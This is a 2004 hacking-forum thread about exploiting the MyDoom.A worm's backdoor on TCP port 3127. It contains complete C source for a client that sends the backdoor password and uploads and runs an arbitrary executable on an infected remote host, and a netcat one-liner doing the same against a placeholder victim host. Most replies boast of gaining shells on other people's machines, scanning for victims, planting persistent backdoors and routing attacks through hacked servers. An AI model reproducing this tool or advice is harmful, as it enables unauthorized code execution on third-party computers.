hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Mydoom.a Exploit :)
Pages: 1, 2, 3, 4, 5
x1`
cant compile can u post the compiled version plz, lcc wont do it
mamep
nice xploit wink.gif
Rocky2you
Cant compile it....whatever i try it just wont sad.gif Can anybody compile that last script that spike posted ?? Would appreciate it very much smile.gif
Thanks felleas
m1k3
about half of all my scans work smile.gif which is good smile.gif im securing them as i go along heh ;p
Major Chrome
Why not post the errors you get, at least that way people know you are trying to compile it and might help you out.
Erra
This is a really interesting post. I find it amusing to see the knowledgable replies and the not so.

Nice work to all involved with this one
slb33
Very nice little appz these are wink.gif

Working great, thanks biggrin.gif
technoboy
just tested it, work like a charm smile.gif

thanks again !
Carlos
Both methods work perfectly. Thank you sPiKie and clip for spending the time to code/modify each others code to make the exploit a bit more "user friendly", if I may, and for sharing the source.

Let's see how long those this baby last... laugh.gif
Alien
here is code modified by me, compile this with lcc
CODE

/**************************************/
/* Copyrights 2004 sPiKie tha m4st3r */
/* Made to a friend */
/**************************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>

#pragma lib <ws2_32.lib>

int main(int argc,char *argv[]) {
 int sockfd, numbytes;
 
struct hostent *he;
 struct sockaddr_in their_addr; // connector's address information
char doompassword[] = "\x85\x13\x3c\x9e\xa2"; //the backdoors uses a password to open CreateProcess();)
char buf[1024];
 int read=0;
FILE *fuckfile;
 WSADATA wsaData;   //thihihi

 if(argc<3)
 {
             printf("***************************************************\n");
             printf("***** MyDoom.A Upload/Exec Backdoor by sPiKie *****\n");
             printf("**** Usage: %s <ip> <port> <program to upload> ****\n", argv[0]);
             printf("***************************************************\n");
             return -1;
 }
 printf("[+] Opening File\n");

fuckfile = fopen(argv[3],"rb");
 if (fuckfile==NULL) {
 printf("[-] Open Failed\n");
 return -1;
 }
 printf("[+] File found ready to send\n");
 if(WSAStartup(0x101,&wsaData))
 {
printf("[-] Unable to load winsock.\n");
             return -1;
 }
 if ((he=gethostbyname(argv[1])) == NULL) {  // get the host info
         printf("[-] GetHostByName() Error!\n");
         return -1;
 }
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
         printf("[-] Can't open socket!\n");
         return -1;
 }
 their_addr.sin_family = AF_INET;    // host byte order
 their_addr.sin_port = htons(atoi(argv[2]));  // port
 their_addr.sin_addr = *((struct in_addr *)he->h_addr);
 //memset(&(their_addr.sin_zero), '\0', 8);  // zero the rest of the struct
 if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
         printf("[-] Connecting error\n");
         return -1;
 }
 printf("[+] Connected\n[+] Sending executable.\n");
 send(sockfd,doompassword,5,0); //sending the password :)
 while (!feof(fuckfile)) {
       read = fread(buf,sizeof(char),sizeof(buf),fuckfile);
       if ((numbytes=send(sockfd,buf,read,0)) == -1) {
          printf("[-] Sending executable failed\n");
          return -1;
       }
       printf(".");
 }
 printf("[+] All done, server have now executed your executable!\n");
 closesocket(sockfd);
 WSACleanup();
 return 0;
}
Cow|
Thankx for this nice exploit it works like a charm
TheOther
Exploit works great!!!!

Just wondering how we can patch the server through shell?

Thx
Stephen79
QUOTE (TheOther @ Feb 10 2004, 10:16 AM)
Exploit works great!!!!

Just wondering how we can patch the server through shell?

Thx

there are many ways you could go about that, the easiest it to run the command line fixer.

just look around the board and you will see its already been posted. Its not hard to find on google anyway.
clubfed
QUOTE (TheOther @ Feb 10 2004, 09:16 AM)
Exploit works great!!!!

Just wondering how we can patch the server through shell?

Thx

you're kidding right? download mydoomerremove.exe to your local dir (search these forums if you don't have it) then just upload/exec *that* just like you did you trojan a few minutes ago. why not use the same interface. i've patched the *few* servers i've found. this is a dead/lame bug... hardly any infected machines at all. it was all media hype/bragging up to get money.
clubfed
QUOTE (clubfed @ Feb 10 2004, 10:09 AM)
QUOTE (TheOther @ Feb 10 2004, 09:16 AM)
Exploit works great!!!!

Just wondering how we can patch the server through shell?

Thx

you're kidding right? download mydoomerremove.exe to your local dir (search these forums if you don't have it) then just upload/exec *that* just like you did you trojan a few minutes ago. why not use the same interface. i've patched the *few* servers i've found. this is a dead/lame bug... hardly any infected machines at all. it was all media hype/bragging up to get money.

these two commands should do it, worked for me, but i have cygwin installed and thus wget. if you don't then just go get that fix manually and save it to the same dir. you get the idea.
CODE
wget 'http://www.governmentsecurity.org/forum/index.php?act=Attach&type=post&id=44724'
mydoomuploader.exe x.x.x.x 3127 mydoomremover.exe
clubfed
by the way... i posted this in another thread earlier, but basically for all the silly people begged me for the mydoom uploader (this was back in january!) that didn't just read the advisory... it was this simple (since its leaked now...)
CODE

printf "\x85\x23\x13\x3C\x9E\xA2" > header.txt
cat header.txt payload.exe | nc -v victimhost.example.com 3127

(yes i know trigger is slightly different, but thats what i used based on disassembly of worm and it worked)

it was never any good, since the worm barely spread at all, it was totally overhyped bug and really worthless overall. consider that you can scan a class c for winxp machines and root 10 at a time using workstation service overflow, why bother with things like this?

anyway...
Yemoke
wow i think this is a very good exploit tongue.gif 2 of this hosts: Transferred: 2mb.nul 2,00 MB in 2,63 (777,52 KBps)
nutschi
lolz, finally its here and i´m late again, thx tongue.gif
rush
Very good, i hope allot of kiddies get caught!
I know someone who get hacked hacking a dutch university, all his pc's were taken in. He connected just once or so... ph34r.gif
nubela
hmm. compiled it nicely. but mydoom scanner from foundstone.com seems crap.
how do u guys scan for vulnerable?
Jimbras
Ni hack this one. Works great biggrin.gif biggrin.gif

Thanks for it biggrin.gif biggrin.gif
bambipower
damn, people starts to send pm for the compiled version blink.gif


tssss
Stephen79
QUOTE (nubela @ Feb 10 2004, 01:19 PM)
hmm. compiled it nicely. but mydoom scanner from foundstone.com seems crap.
how do u guys scan for vulnerable?

your joking right?
XpProf
Many THX..very good exploit wink.gif

Xp
Deltax
QUOTE (nubela @ Feb 10 2004, 12:19 PM)
hmm. compiled it nicely. but mydoom scanner from foundstone.com seems crap.
how do u guys scan for vulnerable?

smile.gif just scan for servers with port 3127 open..
adenek
work perfect smile.gif many thx man
tolf
yeah nice work guys.. compiles fine. Now just want to test it

Hey has anyone got the actual Mydoom virus files on hand... I wanna try this in a restricted lab area on an infected machine...
night^man
thx got many shells biggrin.gif
DeGast
Thx this exploit works great!
Got many shells!
x1`
bad thing if we start securing as there will be less vunarabel servers and the exploit will die more quickly . but its good so someone esle cant hack urs , but what if the admin catchs your files how are u gonna restart servu or something , if u cant get shell any more
Homer
just install backdoor blink.gif

man many noobs here, just read up and all ur questions will be answered.
It will die soon so njoy for now wink.gif
sPiKie
Thanks for all this great feedback, but one person in here that I didn't like.. I hope the admins also saw it.. Alien said he had modified my code, he didnt do ANYTHING, nothing is modified smile.gif So Alien, dont try to play.. The game is over. And you lost like hell!

Or if you can say: #pragma comment (lib,"ws2_32")
changing to #pragma comment (lib,"ws2_32.lib")
So it works in the poor compiler lcc... So please, dont say you modified, say your modified it so it can be compiled in LCC...
XtrA
I have a question..
hmm when i create a shell with rsCRT i should enter my ip there..
but when i connect to the internet i get another ip..
my ip number changes..
so..
is it saying that i should create new file all the time?
negyta
@Xtra:

Yep, u alway have to change the ip in the .exe file when u have a dynamic ip

Get yourself a remote box (hacked or none-hacked smile.gif ) with a static ip and hack over this box.

hulk
has anyone been able to execute anything after you get the shell? I cant get any exe files to execute once they are on the exploited server rolleyes.gif
x1`
which back door is best if the computer restarts and the backdoor restarts with it and not able to be found , ive just used netcat to spawn a backdoor for now
Vosgia
do you think it belongs in this topic? Dickybob20?
i don't think so

Big thanks goes to sPiKie. Very nice post but 10 pages up to now. You can see how many script kiddies were waiting for a "better" exploit than "dameware" tongue.gif
clip
QUOTE (sPiKie @ Feb 10 2004, 02:25 PM)
Thanks for all this great feedback, but one person in here that I didn't like.. I hope the admins also saw it.. Alien said he had modified my code, he didnt do ANYTHING, nothing is modified smile.gif So Alien, dont try to play.. The game is over. And you lost like hell!

How the hell can you say that when you balntantly ripped my code? (Although i don't care).
Btbw
thx for share tongue.gif


but one problem :

Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

The command prompt has been disabled by your administrator.

what this mean ? i don't have administrator privileges ?
technoboy
QUOTE (Btbw @ Feb 10 2004, 05:39 PM)
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

The command prompt has been disabled by your administrator.

execute: gpedit.msc
Local Computer Policy->User Configuration->Administrative
Templates->System

Under this tab there is a setting that can be used to prevent
access to cmd.exe.

So in clear it mean what the message told you, cmd.exe have been disabled by the administrator. Ever heard of google btw ?
Erra
OK now I have a question, I get this all the time...

[+] Opening File
[+] File found ready to send
[-] Unable to load winsock.

what the hell does that mean? biggrin.gif

I havent seen this one asked here yet, so either, no one has had it, or, its a stupid question, but I dont know the answer to it, so any assistance would be nice thanks smile.gif
sPiKie
Erra, it means that you can't load WinSock on your computer...
Hmm if you want to check it, just call WSAGetLastError();
Thats all, just try to do it on an other computer or get the newest updates/winsock etc..
ducky
tried 5 School PC's till now...to check if it works...but no admin rights...
maybe there is a need to change something in the exploit itself??

cheerz smile.gif
technoboy
the exploit work 100%, its just you guys who are not using it correctly.
f4u2t
Heh, thx alot, i tryed this realy work ! but , IMHO, it old, becouse i scan only few 3127...

sorry for my english ;]]]
Nexcess
well.. on the bright side you guys have successfully cleaned half the infected mydoom servers over night tongue.gif
liquidSilver
6525 views on this topic - in only 1 day! 1 day!

I think it's cool that we cleaned most computers! Awesome! smile.gif
Fantafour
QUOTE (sPiKie @ Feb 9 2004, 06:15 PM)
FakoLy, I think it will goes too the /windows/system32 directory as an other name, but it will delete himself after the exploit.. The program uses the Win Function CreateProcess() wink.gif..

than, is it right, when i upload another .bat file, and he delete it automatically ?
QuadMedic
biggrin.gif sploit works great thx dudez........

CODE

                  [Crpt] mykralor v1.0 by kralor [Crpt]
              www.coromputer.net && IRC undernet #coromputer

[+] Reading file to send (max length 1599bytes)   ...Done
[+] Connecting to infected ip                     ...Done
[+] Sending file                                  ...Done
[+] Exiting.


dry.gif now one problem in netcat it drops this ..........

CODE

C:\>nc -l -vv -p xxxx -t
listening on [any] xxxx ...
connect to [bla.bla.bla.bla] from res-bla-xx-bla.bla.bla.edu [xxx.x.xx.xxx]
3066
sent 0, rcvd 0

C:\>


Why do you think maybe i have no exec. rights ?
sPiKie
By the way guys in here.. Don't use those exploits/tools on other computers that your own/or testing it with friends... And for those that didnt know that im not a blackhat, they know it now smile.gif Im a 99.9999% Whitehat security coder/whatsoever. And please, I dont help to hack, I help to find the vulnerabilities so the big companies, virusscanners etc.. That they can protect the computers from getting caught.. What a good thing I did do on some friends, was this, I just uploaded the fixer via my tool and whooops MyDoom and of course the backdoor was gone. Help me clean the MyDoom's away and start DELETING the MyDoom viruses. For those that don't do this, they arent under my respect... Thanks smile.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.